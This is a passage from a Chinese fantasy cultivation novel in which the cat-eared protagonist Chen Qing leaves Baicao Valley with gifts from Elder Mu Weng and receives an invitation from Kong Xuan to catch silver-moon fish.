“前辈过誉了。”
“不是过誉。”木翁正色道,“老朽守谷万年,见过太多修士为求长生,斩情绝欲,最终道心枯槁,反失其真。你这‘趣’之道,或许……真能为三界带来些不一样的东西。”
他取出一枚青翠的叶形玉佩,递给陈青:“此乃‘青木令’,持之可随时出入百草谷。日后若有所需,或遇难题,可来寻我。”
陈青郑重接过:“多谢前辈。”
离开百草谷,陈青驾云返程,心中满是收获的喜悦。然而行至半途,他忽觉怀中那枚木翁所赠的百味玲珑果微微发烫。
陈青取出果子,只见果皮上竟浮现出一行淡金色小字:
“此果还有一妙用:若以真火小心炙烤表皮,待其微焦,内里百味会融合升华,化作一味‘百转千回膏’。食之可助人短暂体验‘百味人生’,于心境修行或有奇效。此法乃老朽近日所悟,赠与小友试之。——木翁附。”
陈青握着温热的果子,心中感慨。这位木翁前辈,看似闲云野鹤,实则心细如发,且对“食”之一道的钻研,远非常人可比。
正想着,前方云层中忽然传来一声清越啼鸣。
一只青鸾展翅飞来,羽翼流光,在陈青身前盘旋一圈,口中衔着一枚玉简。陈青接过玉简,青鸾点头示意,随即振翅离去。
玉简入手温润,神识探入,是孔宣的声音:
“闻你已访百草谷,收获当丰。云梦大泽近日有银月鱼溯游产卵,此鱼通体银白,肉质细嫩如云,更妙的是,月夜捕捞后即刻烹制,鱼身会自然浮现月华纹路,食之可增神识清明。若有意,三日后子时,云梦泽畔见。”
这位真君,不仅指点了百草谷,连银月鱼这等时令食材都替他留意着。
陈青其实有些不解,众仙都说孔宣孤傲喜独身,怎么偏偏对他这只小猫三番五次提点。
他想起那只白猫,又摸摸自己的猫耳,忍不住想,难道这小孔雀是猫奴?
可是鸟的天敌不就是猫吗?
孔宣道君果然与众不同啊!
他收起玉简,望向云梦泽方向,嘴角不自觉地扬起。
三日后子时么?